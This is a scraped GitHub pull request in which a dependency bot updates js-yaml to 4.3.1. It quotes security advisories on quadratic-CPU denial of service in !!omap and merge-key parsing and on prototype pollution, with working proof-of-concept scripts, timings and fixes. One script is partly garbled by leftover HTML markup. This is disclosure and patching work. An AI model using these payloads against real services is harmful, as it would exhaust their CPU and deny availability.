🚨 [security] Update js-yaml 4.1.0 → 4.3.1 (minor) by depfu[bot] · Pull Request #582 · jbolda/jacobbolda.com

depfu · 2026-08-06T22:06:00Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ js-yaml (4.1.0 → 4.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.

!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was
fixed in the 5.x line in 5.2.1. That fix was never backported: both currently
maintained legacy lines still carry the original implementation.

Affected versions

Line Latest tested Status

3.x 3.15.0 Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29

4.x 4.3.0 Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30

5.x 5.2.2 Not affected — fixed in 5.2.1 (uses a Set)

Both figures are the newest release of each line at the time of writing, so
this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {

const d = doc(n), t = Date.now();

yaml.load(d); // default schema, no options

console.log(n=${n} bytes=${d.length} load=${Date.now() - t}ms);

}
Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
js-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be
stalled with a small input. Because the loop is synchronous, a single request
blocks the Node.js event loop and stalls every other request in the process —
so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in
5.x), i.e. Availability-only impact, network attack vector, no privileges or
user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.

References

CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1

lib/type/omap.js (3.x, 4.x) — the affected resolver

lib/schema/default.js — registers !!omap in the default schema

Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run
against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by
executing the proof of concept above. All timings in this report were measured
on the current releases of each line, not on the version originally scanned.

🚨 js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {

const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {

lines.push(a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>: &amp;a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span> { &lt;&lt;: *a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">}</span></span>, k<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span>: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">i</span><span class="pl-kos">}</span></span> })

}
lines.push(b: *a<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">count</span> <span class="pl-c1">-</span> <span class="pl-c1">1</span><span class="pl-kos">}</span></span>)

return <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">lines</span><span class="pl-kos">.</span><span class="pl-en">join</span><span class="pl-kos">(</span><span class="pl-s">'\n'</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>\n

}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))

console.log('...')

console.log(source.split('\n').slice(-4).join('\n'))

console.log()

console.log(N: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">n</span><span class="pl-kos">}</span></span>)

console.log(YAML size: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Buffer</span><span class="pl-kos">.</span><span class="pl-en">byteLength</span><span class="pl-kos">(</span><span class="pl-s1">source</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span> bytes)
const started = performance.now()

const result = load(source, { schema: YAML11_SCHEMA })

const elapsed = performance.now() - started
console.log(parse time: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">elapsed</span><span class="pl-kos">.</span><span class="pl-en">toFixed</span><span class="pl-kos">(</span><span class="pl-c1">1</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span> ms)

console.log(top-level keys: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Object</span><span class="pl-kos">.</span><span class="pl-en">keys</span><span class="pl-kos">(</span><span class="pl-s1">result</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">}</span></span>)

console.log(b keys: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-v">Object</span><span class="pl-kos">.</span><span class="pl-en">keys</span><span class="pl-kos">(</span><span class="pl-s1">result</span><span class="pl-kos">.</span><span class="pl-c1">b</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">}</span></span>)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

🚨 JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.

For each element, it calls mergeMappings(...).

mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
 if (Array.isArray(valueNode)) {
 for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
 mergeMappings(state, _result, valueNode[index], overridableKeys);
 }
 } else {
 mergeMappings(state, _result, valueNode, overridableKeys);
 }
}
When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
 key = sourceKeys[index];
 if (!_hasOwnProperty.call(destination, key)) {
 setProperty(destination, key, source[key]);
 overridableKeys[key] = true;
 }
}
Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

one Object.keys(source) call (O(K))

K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
 if (Array.isArray(valueNode)) {
 var seen = new Set();
 for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
 var src = valueNode[index];
 if (seen.has(src)) continue; // idempotent; skip redundant alias
 seen.add(src);
 mergeMappings(state, _result, src, overridableKeys);
 }
 } else {
 mergeMappings(state, _result, valueNode, overridableKeys);
 }
}

🚨 js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

Release Notes

4.3.0 (from changelog)

Security

Backported maxTotalMergeKeys option.

4.2.0 (from changelog)

Added

Added docs/safety.md with notes about processing untrusted YAML.

Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.

Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.

Added sourcemaps to dist/ builds.

Changed

Stop resolving numbers with underscores as numeric scalars, #627.

Switched dev toolchains to Vite / neostandard.

Updated demo.

Reorganized tests.

dist/ files are no longer kept in the repository.

Fixed

Fix parsing of properties on the first implicit block mapping key, #62.

Fix trailing whitespace handling when folding flow scalar lines, #307.

Reject top-level block scalars without content indentation, #280.

Ensure numbers survive round-trip, #737.

Fix test coverage for issue #221.

Fix flow scalar trailing whitespace folding, #307.

Fix digits in YAML named tag handles.

Security

Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

4.1.1 (from changelog)

Security

Fix prototype pollution issue in yaml merge (<<) operator.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 71 commits:

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

depfu Bot added the depfu label Aug 6, 2026

depfu Bot mentioned this pull request Aug 6, 2026

🚨 [security] Update js-yaml 4.1.0 → 4.3.0 (minor) #575

Closed

Update js-yaml to version 4.3.1

6d5ee9c

depfu Bot force-pushed the depfu/update/npm/js-yaml-4.3.1 branch from 3704538 to 6d5ee9c Compare August 15, 2026 18:31

depfu Bot deployed to beta August 15, 2026 18:31 Active

Navigation Menu

Uh oh!

🚨 [security] Update js-yaml 4.1.0 → 4.3.1 (minor) - #582

🚨 [security] Update js-yaml 4.1.0 → 4.3.1 (minor)#582
depfu[bot] wants to merge 1 commit into
productionfrom
depfu/update/npm/js-yaml-4.3.1

depfu Bot commented Aug 6, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Line	Latest tested	Status
3.x	3.15.0	Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29`
4.x	4.3.0	Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30`
5.x	5.2.2	Not affected — fixed in 5.2.1 (uses a `Set`)

Uh oh!

Conversation

depfu Bot commented Aug 6, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

What changed?

✳️ js-yaml (4.1.0 → 4.3.1) · Repo · Changelog

🚨 JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

Affected versions

Details

Proof of concept

Measured (node v20.20.2, default heap, no flags)

Impact

Suggested fix

References

Discovery

🚨 js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

PoC

Patches

🚨 JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

Summary

Details

Root cause

PoC

Impact

Suggested fix:

🚨 js-yaml has prototype pollution in merge (<<)

Impact

Patches

Workarounds

References

4.3.0 (from changelog)

Security

4.2.0 (from changelog)

Added

Changed

Fixed

Security

4.1.1 (from changelog)

Security

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

depfu Bot commented Aug 6, 2026 •

edited

Loading

Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)